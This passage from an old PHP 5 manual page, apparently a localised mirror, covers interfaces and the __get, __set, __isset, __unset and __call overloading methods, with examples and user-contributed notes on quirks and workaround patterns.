   }
} // Will work as Interface Satisfied

class MyClassTwo implements MyI
{
   public function Hello ( DescendantClass $obj )
   {
       echo $obj;
   }
} // Will output a fatal error because Interfaces don't support Inherintance in TypeHinting

//Fatal error: Declaration of MyClassTwo::hello() must be compatible with that of MyI::hello()

?>

Something a little bit bad in PHP 5.0.4 :)
nuying117 at 163 dot com
14-Oct-2005 04:48
If a class implements two interfaces , but these two interfaces have a same method,for example
<?php
interface TestInterface1
{
   function testMethod1();
   function testMethod2();
}
interface TestInterface2
{
   function testMethod2();
   function testMethod3();
   function testMethod4();
}
class ImplementClass implements TestInterface1,TestInterface2
{
   function __construct()
   {
       echo "I am constructor\r\n";
   }

   function __destruct()
   {
       echo "I am destructor\r\n";
   }

   function testMethod1()
   {}
   function testMethod2()
   {}
   function testMethod3()
   {}
   function testMethod4()
   {}
}
?>
It will cause  a fatal error!
darealremco at msn dot com
03-Oct-2005 03:53
To two notes below: There is one situation where classes and interfaces can be used interchangeably. In function definitions you can define parameter types to be classes or interfaces. If this was not so then there would not be much use for interfaces at all.
warhog at warhog dot net
11-Aug-2005 11:35
on the post below:

An interface is in fact the same like an abstract class containing abstract methods, that's why interfaces share the same namespace as classes and why therefore "real" classes cannot have the same name as interfaces.
marcus at synchromedia dot co dot uk
28-Jul-2005 07:11
Classes and interface names share a common name space, so you can't have a class and an interface with the same name, even though the two can never be used ambiguously (i.e. there are no circumstances in which a class and an interface can be used interchangeably). e.g. this will not work:

interface foo {
public function bling();
}

class foo implements foo {
public function bling() {
}
}

You will get a 'Cannot redeclare class' error, even though it's only been declared as a class once.
tobias_demuth at web dot de
05-May-2005 05:21
The statement, that you have to implement _all_ methods of an interface has not to be taken that seriously, at least if you declare an abstract class and want to force the inheriting subclasses to implement the interface.
Just leave out all methods that should be implemented by the subclasses. But never write something like this:

<?php

interface Foo {

     function bar();

}

abstract class FooBar implements Foo {

       abstract function bar(); // just for making clear, that this
                                 // method has to be implemented

}

?>

This will end up with the following error-message:

Fatal error: Can't inherit abstract function Foo::bar() (previously declared abstract in FooBar) in path/to/file on line anylinenumber
Sebastian Mendel
11-Mar-2005 09:12
also see: class_implements()
at: http://www.php.net/manual/en/function.class-implements.php
erik dot zoltan at msn dot com
26-Feb-2005 02:43
When should you use interfaces?  What are they good for?
Here are two examples.

1. Interfaces are an excellent way to implement reusability.
You can create a general interface for a number of situations
(such as a save to/load from disk interface.)  You can then
implement the interface in a variety of different ways (e.g. for
formats such as tab delimited ASCII, XML and a database.)
You can write code that asks the object to "save itself to
disk" without having to worry what that means for the object
in question.  One object might save itself to the database,
another to an XML and you can change this behavior over
time without having to rewrite the calling code.

This allows you to write reusable calling code that can work
for any number of different objects -- you don't need to know
what kind of object it is, as long as it obeys the common
interface.

2. Interfaces can also promote gradual evolution.  On a
recent project I had some very complicated work to do and I
didn't know how to implement it.  I could think of a "basic"
implementation but I knew I would have to change it later.
So I created interfaces in each of these cases, and created
at least one "basic" implementation of the interface that
was "good enough for now" even though I knew it would have
to change later.

When I came back to make the changes, I was able to create
some new implementations of these interfaces that added the
extra features I needed.  Some of my classes still used
the "basic" implementations, but others needed the
specialized ones.  I was able to add the new features to the
objects themselves without rewriting the calling code in most
cases.  It was easy to evolve my code in this way because
the changes were mostly isolated -- they didn't spread all
over the place like you might expect.
mat.wilmots (at) wanadoo (dot) fr
20-Jan-2005 10:22
interfaces support multiple inheritance

<?php

interface SQL_Result extends SeekableIterator, Countable
{
   // new stuff
}

abstract class SQL_Result_Common
{
   // just because that's what one would do in reality, generic implementation
}

class SQL_Result_mysql extends SQL_Result_Common implements SQL_Result
{
   // actual implementation
}

?>

This code raises a fatal error because SQL_Result_mysql doesn't implement the abstract methods of SeekableIterator (6) + Countable (1)
m.kurzyna AT nius waw pl
24-Dec-2004 10:04
You can have a class implementing two or more interfaces, just seperate them with a coma:

<?php

interface i_one {
public one();
}

interface i_two {
public two();
}

class oneANDtwo implements i_one, i_two {
public one() {}
public two() {}
}

?>

Of course all implemented interfaces will be tested, so one needs to have one() and two() in their class to avoid errors.
russ dot collier at gmail dot com
29-Nov-2004 02:24
You can also specify class constants in interfaces as well (similar to specifying 'public static final' fields in Java interfaces):

<?php

interface FooBar
{

   const SOME_CONSTANT = 'I am an interface constant';

   public function doStuff();

}

?>

Then you can access the constant by referring to the interface name, or an implementing class, (again similar to Java) e.g.:

<?php

class Baz implements FooBar
{

   //....

}

print Baz::SOME_CONSTANT;
print FooBar::SOME_CONSTANT;

?>

Both of the last print statements will output the same thing: the value of FooBar::SOME_CONSTANT
add a note add a note

后退 | 起点 | 前进
Class Abstraction | 上一级 | Overloading


Overloading

Both method calls and member accesses can be overloaded via the __call, __get and __set methods. These methods will only be triggered when your object or inherited object doesn't contain the member or method you're trying to access. All overloading methods must not be defined as static.

Since PHP 5.1.0 it is also possible to overload the isset() and unset() functions via the __isset and __unset methods respectively.

Member overloading

void __set ( string name, mixed value )

mixed __get ( string name )

bool __isset ( string name )

void __unset ( string name )

Class members can be overloaded to run custom code defined in your class by defining these specially named methods. The $name parameter used is the name of the variable that should be set or retrieved. The __set() method's $value parameter specifies the value that the object should set the $name.

例子 19-18. overloading with __get, __set, __isset and __unset example

<?php
class Setter
{
    public $n;
    private $x = array("a" => 1, "b" => 2, "c" => 3);

    private function __get($nm)
    {
        echo "Getting [$nm]\n";

        if (isset($this->x[$nm])) {
            $r = $this->x[$nm];
            print "Returning: $r\n";
            return $r;
        } else {
            echo "Nothing!\n";
        }
    }

    private function __set($nm, $val)
    {
        echo "Setting [$nm] to $val\n";

        if (isset($this->x[$nm])) {
            $this->x[$nm] = $val;
            echo "OK!\n";
        } else {
            echo "Not OK!\n";
        }
    }

    private function __isset($nm)
    {
        echo "Checking if $nm is set\n";

        return isset($this->x[$nm]);
    }

    private function __unset($nm)
    {
        echo "Unsetting $nm\n";

        unset($this->x[$nm]);
    }
}

$foo = new Setter();
$foo->n = 1;
$foo->a = 100;
$foo->a++;
$foo->z++;

var_dump(isset($foo->a)); //true
unset($foo->a);
var_dump(isset($foo->a)); //false

// this doesn't pass through the __isset() method
// because 'n' is a public property
var_dump(isset($foo->n));

var_dump($foo);
?>

上例将输出：

Setting [a] to 100
OK!
Getting [a]
Returning: 100
Setting [a] to 101
OK!
Getting [z]
Nothing!
Setting [z] to 1
Not OK!

Checking if a is set
bool(true)
Unsetting a
Checking if a is set
bool(false)
bool(true)

object(Setter)#1 (2) {
  ["n"]=>
  int(1)
  ["x:private"]=>
  array(2) {
    ["b"]=>
    int(2)
    ["c"]=>
    int(3)
  }
}

Method overloading

mixed __call ( string name, array arguments )

Class methods can be overloaded to run custom code defined in your class by defining this specially named method. The $name parameter used is the name as the function name that was requested to be used. The arguments that were passed in the function will be defined as an array in the $arguments parameter. The value returned from the __call() method will be returned to the caller of the method.

例子 19-19. overloading with __call example

<?php
class Caller
{
    private $x = array(1, 2, 3);

    public function __call($m, $a)
    {
        print "Method $m called:\n";
        var_dump($a);
        return $this->x;
    }
}

$foo = new Caller();
$a = $foo->test(1, "2", 3.4, true);
var_dump($a);
?>

上例将输出：

Method test called:
array(4) {
    [0]=>
    int(1)
    [1]=>
    string(1) "2"
    [2]=>
    float(3.4)
    [3]=>
    bool(true)
}
array(3) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    int(3)
}

add a note add a note User Contributed Notes
me at brenthagany dot com
13-Apr-2006 01:52
Regarding the post by TJ earlier, about the problems extending DOMElement.  Yes, it is true that you can't set extDOMElement::ownerDocument directly; however, you could append the extDOMElement to a DOMDocument in __construct(), which indirectly sets ownerDocument.  It should work something like so:

class extDOMElement extends DOMElement {

  public function __construct(DOMDocument $doc) {
   $doc->appendChild($this);  //extDOMElement::ownerDocument is now equal to the object that $doc points to
  }

}

Now, I admit I've never actually needed to do this, but I see no reason why it shouldn't work.
Sleepless
24-Feb-2006 03:22
Yet another way of providing support for read-only properties.  Any property that has
"pri_" as a prefix will NOT be returned, period, any other property will be returned
and if it was declared to be "protected" or "private" it will be read-only. (scope dependent of course)

function __get($var){
       if (property_exists($this,$var) && (strpos($var,"pri_") !== 0) )
           return $this->{$var};
       else
           //Do something
}
Eric Lafkoff
22-Feb-2006 02:56
If you're wondering how to create read-only properties for your class, the __get() and __set() functions are what you're looking for. You just have to create the framework and code to implement this functionality.

Here's a quick example I've written. This code doesn't take advantage of the "type" attribute in the properties array, but is there for ideas.

<?php

class Test {

   private $p_arrPublicProperties = array(
           "id" => array("value" => 4,
                   "type" => "int",
                   "readonly" => true),
           "datetime" => array("value" => "Tue 02/21/2006 20:49:23",
                   "type" => "string",
                   "readonly" => true),
           "data" => array("value" => "foo",
                   "type" => "string",
                   "readonly" => false)
           );

   private function __get($strProperty) {
       //Get a property:
       if (isset($this->p_arrPublicProperties[$strProperty])) {
           return $this->p_arrPublicProperties[$strProperty]["value"];
       } else {
           throw new Exception("Property not defined");
           return false;
       }
   }

   private function __set($strProperty, $varValue) {
       //Set a property to a value:
       if (isset($this->p_arrPublicProperties[$strProperty])) {
           //Check if property is read-only:
           if ($this->p_arrPublicProperties[$strProperty]["readonly"]) {
               throw new Exception("Property is read-only");
               return false;
           } else {
               $this->p_arrPublicProperties[$strProperty]["value"] = $varValue;
               return true;
           }
       } else {
           throw new Exception("Property not defined");
           return false;
       }
   }

   private function __isset($strProperty) {
       //Determine if property is set:
       return isset($this->p_arrPublicProperties[$strProperty]);
   }

   private function __unset($strProperty) {
       //Unset (remove) a property:
       unset($this->p_arrPublicProperties[$strProperty]);
   }

}

$objTest = new Test();

print $objTest->data . "\n";

$objTest->data = "bar"; //Works.
print $objTest->data;

$objTest->id = 5; //Error: Property is read-only.

?>
derek-php at seysol dot com
11-Feb-2006 04:08
Please note that PHP5 currently doesn't support __call return-by-reference (see PHP Bug #30959).

Example Code:

<?php

   class test {
       public function &__call($method, $params) {

           // Return a reference to var2
           return $GLOBALS['var2'];
       }
       public function &actual() {

           // Return a reference to var1
           return $GLOBALS['var1'];
       }
   }

   $obj = new test;
   $GLOBALS['var1'] = 0;
   $GLOBALS['var2'] = 0;

   $ref1 =& $obj->actual();
   $GLOBALS['var1']++;

   echo "Actual function returns: $ref1 which should be equal to " . $GLOBALS['var1'] . "<br/>\n";

   $ref2 =& $obj->overloaded();
   $GLOBALS['var2']++;

   echo "Overloaded function returns: $ref2 which should be equal to " . $GLOBALS['var2'] . "<br/>\n";

?>
PHP at jyopp dotKomm
23-Dec-2005 03:01
Here's a useful class for logging function calls.  It stores a sequence of calls and arguments which can then be applied to objects later.  This can be used to script common sequences of operations, or to make "pluggable" operation sequences in header files that can be replayed on objects later.

If it is instantiated with an object to shadow, it behaves as a mediator and executes the calls on this object as they come in, passing back the values from the execution.

This is a very general implementation; it should be changed if error codes or exceptions need to be handled during the Replay process.
<?php
class MethodCallLog {
   private $callLog = array();
   private $object;

   public function __construct($object = null) {
       $this->object = $object;
   }
   public function __call($m, $a) {
       $this->callLog[] = array($m, $a);
       if ($this->object) return call_user_func_array(array(&$this->object,$m),$a);
       return true;
   }
   public function Replay(&$object) {
       foreach ($this->callLog as $c) {
           call_user_func_array(array(&$object,$c[0]), $c[1]);
       }
   }
   public function GetEntries() {
       $rVal = array();
       foreach ($this->callLog as $c) {
           $rVal[] = "$c[0](".implode(', ', $c[1]).");";
       }
       return $rVal;
   }
   public function Clear() {
       $this->callLog = array();
   }
}

$log = new MethodCallLog();
$log->Method1();
$log->Method2("Value");
$log->Method1($a, $b, $c);
// Execute these method calls on a set of objects...
foreach ($array as $o) $log->Replay($o);
?>
trash80 at gmail dot com
04-Dec-2005 12:59
Problem: $a->b->c(); when b is not instantiated.
Answer: __get()

<?php

class a
{
   function __get($v)
   {
       $this->$v = new $v;
       return $this->$v;
   }
}

class b
{
   function say($word){
       echo $word;
   }
}
$a = new a();
$a->b->say('hello world');

// echos 'hello world'
?>
d11wtq
11-Nov-2005 05:07
Regarding the code posted by this user:
mileskeaton at gmail dot com
23-Dec-2004 03:23

There's no need to loop over your entire object.  I do this lots and all you need to do is convert the method name used into the name of a property, then check

if (isset($this->{$property_name}))
{
   //Get ready to do a set
}

I usually check if the developer called a get or set and also do some snity checking on the type of property they're requesting.
TJ <php at tjworld dot net>
04-Nov-2005 02:11
Using the getter/setter methods to provide read-only access to object properties breaks the conventional understanding of inheritence.

A super class using __set() to make a property read-only cannot be properly inherited because the visible (read-only) property - with conventional public or protected visibility - cannot be set in the sub-class.

The sub-class cannot overload the super class's __set() method either, and therefore the inheritence is severely compromised.

I discovered this issue while extending DOMDocument and particularly DOMElement.
When extDOMDocument->createElement() creates a new extDOMElement, extDOMElement->__construct() can't set the extDOMElement->ownerDocument property because it's read-only.

DOMElements are totally read-only if they do not have an ownerDocument, and there's no way to set it in this scenario, which makes inheritence pretty pointless.
seufert at gmail dot com
02-Nov-2005 08:25
This allows you to seeminly dynamically overload objects using plugins.

<PRE>
<?php

class standardModule{}

class standardPlugModule extends standardModule
{
  static $plugptrs;
  public $var;
  static function plugAdd($name, $mode, $ptr)
  {
   standardPlugModule::$plugptrs[$name] = $ptr;
  }
  function __call($fname, $fargs)
  { print "You called __call($fname)\n";
   $func = standardPlugModule::$plugptrs[$fname];
   $r = call_user_func_array($func, array_merge(array($this),$fargs));
   print "Done: __call($fname)\n";
   return $r;
  }
  function dumpplugptrs() {var_dump(standardPlugModule::$plugptrs); }
}

class a extends standardPlugModule
{ function text() { return "Text"; } }
//Class P contained within a seperate file thats included
class p
{ static function plugin1($mthis, $r)
  { print "You called p::plugin1\n";
   print_r($mthis);
   print_r($r);
  }
} a::plugAdd('callme', 0, array('p','plugin1'));

//Class P contained within a seperate file thats included
class p2
{ static function plugin2($mthis, $r)
  { print "You called p2::plugin2\n";
   $mthis->callme($r);
  }
} a::plugAdd('callme2', 0, array('p2','plugin2'));

$t = new a();
$testr = array(1,4,9,16);
print $t->text()."\n";
$t->callme2($testr);
//$t->dumpplugptrs();

?>
</pre>

Will result in:
----------
Text
You called __call(callme2)
You called p2::plugin2
You called __call(callme)
You called p::plugin1
a Object
(
   [var] =>
)
Array
(
   [0] => 1
   [1] => 4
   [2] => 9
   [3] => 16
)
Done: __call(callme)
Done: __call(callme2)
----------

This also clears up a fact that you can nest __call() functions, you could use this to get around the limits to __get() not being able to be called recursively.
divedeep at yandex dot ru
25-Oct-2005 02:14
Small examle showing how to work with magic method __call and parameters, that u want to pass as a reference.

DOES NOT WORK:

<?php
   class a {

       public function __call($m,&$p) {
           $p[0]=2;
       }
   }

   $a= new a();
   $b=1;
   $a->foo($b);
   echo $b;
   // RETURNS 1
?>

WORKS:

<?php
   class a {

       public function __call($m,$p) {
           $p[0]=2;
       }
   }

   $a= new a();
   $b=1;
   $a->foo(&$b);
   // RETURNS 2
   echo $b;
?>
26-Aug-2005 10:32
To those who wish for "real" overloading: there's not really any advantage to using __call() for this -- it's easy enough with func_get_args(). For example:

<?php

   class Test
   {

       public function Blah()
       {

           $args = func_get_args();

           switch (count($args))
           {
               case 1: /* do something */ break;
               case 2: /* do something */ break;
           }

       }

   }

?>
iv
26-Aug-2005 06:01
To "NOTE: getter cannot call getter"
When i changed
'using_getter' => 10 * $this->a
to
'using_getter' => 10 * $this->_a
the result became 60, how it should be
yuggoth23 at yahoo dot no dot spam dot com
09-Aug-2005 09:00
I just wanted to share with the rest of you since I had not seen it posted yet that __call does not work as a static method. Consider a utility class that has all static methods on it where one or more of those methods are overloaded. The snippet below will not work until you remove the "static" keyword from the __call function declaration:

class MyClass
{
   public static _call($method, $args)
   {
       switch($method)
       {
           case "Load":
               if(count($args) == 1)
                   $this->funcLoad1($args[0]);
               elseif(count($args) == 2)
                   $this->funcLoad2($args[0],$args[1]);
       }
   }

   private static funcLoad1($userID)
   {
       //do something
   }

   private static funcLoad2($userID, $isActive)
   {
       //do something slightly different
   }
}

This means any class that wishes to "overload" methods in PHP must be instantiatable in some regard. I like to use a pattern whereby one of the participants is a utility class exposing only static functions which operates on data exposed from an "info" or state-bag class. This is still possible in PHP, I suppose. It just means I'll need to incur overhead to instantiate my utility classes as well.

You CAN, by the way, call one static method from another using $this as I've done in the switch according to a "note" section on this page.
http://us3.php.net/language.oop

Again that may pre-suppose some level of instantiation for the class.
NOTE: getter cannot call getter
05-Aug-2005 03:37
By Design (http://bugs.php.net/bug.php?id=33998) you cannot call a getter from a getter or any function triggered by a getter:

class test
{
   protected $_a = 6;

   function __get($key) {
       if($key == 'stuff') {
           return $this->stuff();
       } else if($key == 'a') {
           return $this->_a;
       }
   }

   function stuff()
   {
       return array('random' => 'key', 'using_getter' => 10 * $this->a);
   }
}

$test = new test();
print 'this should be 60: '.$test->stuff['using_getter'].'<br/>';      // prints "this should be 60: 0"
// [[ Undefined property:  test::$a ]] on /var/www/html/test.php logged.
print 'this should be 6: '.$test->a.'<br/>';                            // prints "this should be 6: 6"
06-May-2005 06:50
Please note that PHP5's overloading behaviour is not compatible at all with PHP4's overloading behaviour.
Marius
02-May-2005 05:15
for anyone who's thinking about traversing some variable tree
by using __get() and __set(). i tried to do this and found one
problem: you can handle couple of __get() in a row by returning
an object which can handle consequential __get(), but you can't
handle __get() and __set() that way.
i.e. if you want to:
<?php
   print($obj->val1->val2->val3); // three __get() calls
?> - this will work,
but if you want to:
<?php
   $obj->val1->val2 = $val; // one __get() and one __set() call
?> - this will fail with message:
"Fatal error: Cannot access undefined property for object with
 overloaded property access"
however if you don't mix __get() and __set() in one expression,
it will work:
<?php
   $obj->val1 = $val; // only one __set() call
   $val2 = $obj->val1->val2; // two __get() calls
   $val2->val3 = $val; // one __set() call
?>

as you can see you can split __get() and __set() parts of
expression into two expressions to make it work.

by the way, this seems like a bug to me, will have to report it.
ryo at shadowlair dot info
23-Mar-2005 02:22
Keep in mind that when your class has a __call() function, it will be used when PHP calls some other magic functions. This can lead to unexpected errors:

<?php
class TestClass {
   public $someVar;

   public function __call($name, $args) {
       // handle the overloaded functions we know...
       // [...]

       // raise an error if the function is unknown, just like PHP would
       trigger_error(sprintf('Call to undefined function: %s::%s().', get_class($this), $name), E_USER_ERROR);
   }
}

$obj = new TestClass();
$obj->someVar = 'some value';

echo $obj; //Fatal error: Call to undefined function: TestClass::__tostring().
$serializedObj = serialize($obj); // Fatal error: Call to undefined function: TestClass::__sleep().
$unserializedObj = unserialize($someSerializedTestClassObject); // Fatal error: Call to undefined function: TestClass::__wakeup().
?>
thisisroot at gmail dot com
18-Feb-2005 11:27
You can't mix offsetSet() of the ArrayAccess interface (http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html) and __get() in the same line.

Below, "FileManagerPrefs" is an object of class UserData which implements ArrayAccess. There's a protected array of UserData objects in the User class, which are returned from __get().
<?php
// This produces an error...
Application::getInstance()->user->FileManagerPrefs[ 'base'] = 'uploads/jack';
?>

Creates this error:
Fatal error: Cannot access undefined property for object with overloaded property access in __FILE__ on line __LINE__

However, __get() and offsetGet() play deceptively well together.

<?php
// This works fine!
echo Application::getInstance()->user->FileManager['base'];
?>

I guess it's a dereferencing issue with __get(). In my case, it makes more sense to have a middle step (user->data['FileManager']['base']), but I wanted to tip off the community before I move on.
mileskeaton at gmail dot com
24-Dec-2004 04:23
<?php

## THE PROBLEM:  Class with lots of attributes.
## You want to use $o->getVarName() or $o->get_varname() style getters
## Some attributes have custom get functions, but the rest don't

## THE SOLUTION:  __call

class Person
   {
   ## this top stuff is just an example.  could be anything.
   private $name;
   private $age;
   private $weight;
   function __construct($name, $age, $weight)
       {
       $this->name = $name;
       $this->age = $age;
       $this->weight = $weight;
       }

   ##    PORTABLE: use this __call function in any class
   function __call($val, $x)
       {
       # see if they're calling a getter method - and try to guess the variable requested
       if(substr($val, 0, 4) == 'get_')
           {
           $varname = substr($val, 4);
           }
       elseif(substr($val, 0, 3) == 'get')
           {
           $varname = substr($val, 3);
           }
       else
           {
           die("method $val does not exist\n");
           }
       # now see if that variable exists:
       foreach($this as $class_var=>$class_var_value)
           {
           if(strtolower($class_var) == strtolower($varname))
               {
               return $class_var_value;
               }
           }
       return false;
       }

   # IMPORTANT: you can keep some things private - or treat
   # some vars differently by giving them their own getter method
   # See how this function lies about Person's weight.
   function getWeight()
       {
       return intval($this->weight * .8);
       }
   }

$a = new Person('Miles', 35, 200);

# these all work (case-insensitive):
print $a->get_name() . "\n";
print $a->getName() . "\n";
print $a->get_Name() . "\n";
print $a->getname() . "\n";

print $a->get_age() . "\n";
print $a->getAge() . "\n";
print $a->getage() . "\n";
print $a->get_Age() . "\n";

# defined functions still override the __call
print $a->getWeight() . "\n";

# trying to get something that doesn't exist returns false
print $a->getNothing();

# this still gets error:
print $a->hotdog();

?>
richard dot quadling at bandvulc dot co dot uk
26-Nov-2004 09:54
<?php

abstract class BubbleMethod
   {
   public $objOwner;

   function __call($sMethod, $aParams)
       {
// Has the Owner been assigned?
       if (isset($this->objOwner))
           {
           return call_user_func_array(array($this->objOwner, $sMethod), $aParams);
           }
       else
           {
           echo 'Owner for ' . get_class($this) . ' not assigned.';
           }
       }
   }

class A_WebPageContainer
   {
   private $sName;

   public function __construct($sName)
       {
       $this->sName = $sName;
       }

   public function GetWebPageContainerName()
       {
       return $this->sName;
       }
   }

class A_WebFrame extends BubbleMethod
   {
   private $sName;

   public function __construct($sName)
       {
       $this->sName = $sName;
       }

   public function GetWebFrameName()
       {
       return $this->sName;
       }
   }

class A_WebDocument extends BubbleMethod
   {
   private $sName;

   public function __construct($sName)
       {
       $this->sName = $sName;
       }

   public function GetWebDocumentName()
       {
       return $this->sName;
       }
   }

class A_WebForm extends BubbleMethod
   {
   private $sName;

   public function __construct($sName)
       {
       $this->sName = $sName;
       }

   public function GetWebFormName()
       {
       return $this->sName;
       }
   }

class A_WebFormElement extends BubbleMethod
   {
   private $sName;

   public function __construct($sName)
       {
       $this->sName = $sName;
       }

   public function GetWebFormElementName()
       {
       return $this->sName;
       }
   }

$objWPC = new A_WebPageContainer('The outer web page container.');

$objWF1 = new A_WebFrame('Frame 1');
$objWF1->objOwner = $objWPC;

$objWF2 = new A_WebFrame('Frame 2');
$objWF2->objOwner = $objWPC;

$objWD1 = new A_WebDocument('Doc 1');
$objWD1->objOwner = $objWF1;

$objWD2 = new A_WebDocument('Doc 2');
$objWD2->objOwner = $objWF2;

$objWFrm1 = new A_WebForm('Form 1');
$objWFrm1->objOwner = $objWD1;

$objWFrm2 = new A_WebForm('Form 2');
$objWFrm2->objOwner = $objWD2;

$objWE1 = new A_WebFormElement('Element 1');
$objWE1->objOwner = $objWFrm1;

$objWE2 = new A_WebFormElement('Element 2');
$objWE2->objOwner = $objWFrm1;

$objWE3 = new A_WebFormElement('Element 3');
$objWE3->objOwner = $objWFrm2;

$objWE4 = new A_WebFormElement('Element 4');
$objWE4->objOwner = $objWFrm2;

echo "The name of the form that '" . $objWE1->GetWebFormElementName() . "' is in is '" . $objWE1->GetWebFormName() . "'<br />";
echo "The name of the document that '" . $objWE2->GetWebFormElementName() . "' is in is '" . $objWE2->GetWebDocumentName(). "'<br />";
echo "The name of the frame that '" . $objWE3->GetWebFormElementName() . "' is in is '" . $objWE3->GetWebFrameName(). "'<br />";
echo "The name of the page container that '" . $objWE4->GetWebFormElementName() . "' is in is '" .$objWE4->GetWebPageContainerName(). "'<br />";
?>

Results in.

The name of the form that 'Element 1' is in is 'Form 1'
The name of the document that 'Element 2' is in is 'Doc 1'
The name of the frame that 'Element 3' is in is 'Frame 2'
The name of the page container that 'Element 4' is in is 'The outer web page container.'

By using the abstract BubbleMethod class as the starting point for further classes that are contained inside others (i.e. elements on a form are contained in forms, which are contained in documents which are contained in frames which are contained in a super wonder global container), you can find properties of owner without knowing their direct name.

Some work needs to be done on what to do if no method exists though.
bigtree at DONTSPAM dot 29a dot nl
17-Nov-2004 05:47
Keep in mind that the __call method will not be called if the method you are calling actually exists, even if it exists in a parent class. Check the following example:

<?php

   class BaseClass
   {
       function realMethod()
       {
           echo "realMethod has been called\n";
       }
   }

   class ExtendClass extends BaseClass
   {
       function __call($m, $a)
       {
           echo "virtual method " . $m . " has been called\n";
       }
   }

   $tmpObject = new ExtendClass();
   $tmpObject->virtualMethod();
   $tmpObject->realMethod();

?>

Will output:

virtual method virtualMethod has been called
realMethod has been called

You might expect that all method calls on ExtendClass will be handled by __call because it has no other methods, but this is not the case, as the example above demonstrates.
xorith at gmail dot com
06-Oct-2004 10:40
A few things I've found about __get()...

First off, if you use $obj->getOne->getAnother, both intended to be resolved by __get, the __get() function only sees the first one at first. You can't access the second one. You can, however, return the pointer to an object that can handle the second one. In short, you can have the same class handle both by returning a new object with the data changed however you see fit.

Secondly, when using arrays like: $obj->getArray["one"], only the array name is passed on to __get. However, when you return the array, PHP treats it just as it should. THat is, you'd have to make an array with the index of "one" in __get in order to see any results. You can also have other indexes in there as well.

Also, for those of you like me, I've already tried to use func_get_args to see if you can get more than just that one.

If you're like me and were hoping you could pass some sort of argument onto __get in order to help gather the correct data, you're out of look. I do recommend using __call though. You could easily rig __call up to react to certain things, like: $account->properties( "type" );, which is my example. I'm using DOM for data storage (for now), and I'm trying to make an interface that'll let me easily switch to something else - MySQL, flat file, anything. This would work great though!

Hope I've been helpful and I hope I didn't restate something already stated.
Dot_Whut?
01-Oct-2004 09:52
Sharp readers (i.e. C++, Java programmers, etc.) may have noticed that the topic of "Overloading" mentioned in the documentation above really isn't about overloading at all...  Or, at least not in the Object Oriented Programming (OOP) sense of the word.

For those who don't already know, "overloading" a method (a.k.a. function) is the ability for functions of the same name to be defined within a Class as long as each of these methods have a different set of parameters (each method would have a different "signature", if you will).  At run-time, the script engine could then select and execute the appropriate function depending on which type or number of arguments were passed to it.  Unfortunately, PHP 5.0.2 doesn't support this sort of overloading.  The "Overloading" mentioned above could be better described as "Dynamic Methods and Properties"...

By using "Dynamic Methods and Properties", we can make our class instances "appear" to have methods and properties that were not originally present in our Class definitions.  Although this is a great new feature (which I plan to use often), through the use of "__get", "__set", and "__call", we can also emulate "real" overloading as shown in a few of the code examples below.
Dot_Whut?
30-Sep-2004 09:14
You can create automatic getter and setter methods for your private and protected variables by creating an AutoGetterSetter Abstract Class and having your Class inherit from it:

// Automatic Getter and Setter Class
//
// Note: when implementing your getter and setter methods, name your
// methods the same as your desired object properties, but prefix the
// function names with 'get_' and 'set_' respectively.

abstract class AutoGetAndSet {
  public function __get ($name) {
   try {
     // Check for getter method (throws an exception if none exists)
     if (!method_exists($this, "get_$name"))
       throw new Exception("$name has no Getter method.");
     eval("\$temp = \$this->get_$name();");
     return $temp;
   }
   catch (Exception $e) {
     throw $e;
   }
  }

  public function __set ($name, $value) {
   try {
     // Check for setter method (throws an exception if none exists)
     if (!method_exists($this, "set_$name"))
       throw new Exception("$name has no Setter method (is read-only).");
     eval("\$this->set_$name(\$value);");
   }
   catch (Exception $e) {
     throw $e;
   }
  }
}

class MyClass extends AutoGetAndSet
{
  // private and protected members
  private $mbr_privateVar = "privateVar";
  protected $mbr_protectedVar = "protectedVar";

  // 'privateVar' property, setter only (read-only property)
  function get_privateVar () {
   return $this->mbr_privateVar;
  }

  // 'protectedVar' property, both getter AND setter
  function get_protectedVar () {
   return $this->mbr_protectedVar;
  }
  function set_protectedVar ($value) {
   $this->mbr_protectedVar = $value;
  }
}

$myClass = new MyClass();

// Show original values, automatically uses 'get_' methods
echo '$myClass->protectedVar == ' . $myClass->protectedVar . '<br />';
echo '$myClass->privateVar == ' . $myClass->privateVar . '<br />';

// Modify 'protectedVar', automatically calls set_protectedVar()
$myClass->protectedVar = "Modded";

// Show modified value, automatically calls get_protectedVar()
echo '$myClass->protectedVar == ' . $myClass->protectedVar . '<br />';

// Attempt to modify 'privateVar', get_privateVar() doesn't exist
$myClass->privateVar = "Modded"; // throws an Exception

// Code never gets here
echo '$myClass->privateVar == ' . $myClass->privateVar . '<br />';
anthony at ectrolinux dot com
26-Sep-2004 09:40
For anyone who is interested in overloading a class method based on the number of arguments, here is a simplified example of how it can be accomplished:

<?php

function Error($message) { trigger_error($message, E_USER_ERROR); exit(1); }

class Framework
{
   // Pseudo function overloading
   public function __call($func_name, $argv)
   {
       $argc = sizeof($argv);

       switch ($func_name) {
       case 'is_available':
           $func_name = ($argc == 2) ? 'is_available_single' : 'is_available_multi';
           break;

       default: // If no applicable function was found, generate the default PHP error message.
           Error('Call to undefined function Framework::'. $func_name .'().');
       }

       return call_user_func_array(array(&$this, $func_name), $argv);
   }

   // protected array is_available_multi($mod_name, $mod_addon_0 [, $mod_addon_1 [, ...]])
   protected function is_available_multi()
   {
       if (($argc = func_num_args()) < 2) {
           Error('A minimum of two arguments are required for Framework::is_available().');
       }

       $available_addons = array();
       // --snip--

       return $available_addons;
   }

   protected function is_available_single($mod_name, $mod_addon)
   {
       // --snip--

       return true;
   }
}

$fw = new Framework;

$test_one = $fw->is_available('A_Module_Name', 'An_Addon');
var_dump($test_one);
// Test one produces a boolean value, supposedly representing whether 'An_Addon' is available and can be used.

$test_two = $fw->is_available('A_Module_Name', 'Addon_0', 'Addon_1', 'Addon_2');
var_dump($test_two);
// Test two produces an array, supposedly listing any of the three 'Addon_N' modules that are available and can be used.

// Here are the actual results of the above:
//    bool(true)
//    array(0) {
//    }

?>

---

By adding additional case statements to Framework::__call(), methods can easily be overloaded as needed. It's also possible to add any other overloading criteria you require inside the switch statement, allowing for more intricate overloading functionality.
DevilDude at darkmaker dot com
23-Sep-2004 10:57
Php 5 has a simple recursion system that stops you from using overloading within an overloading function, this means you cannot get an overloaded variable within the __get method, or within any functions/methods called by the _get method, you can however call __get manualy within itself to do the same thing.
01-Sep-2004 02:39
For those using isset():

Currently (php5.0.1) isset will not check the __get method to see if you can retrieve a value from that function.  So if you want to check if an overloaded value is set you'd need to use something like the __isset method below:

<?php

class foo
{
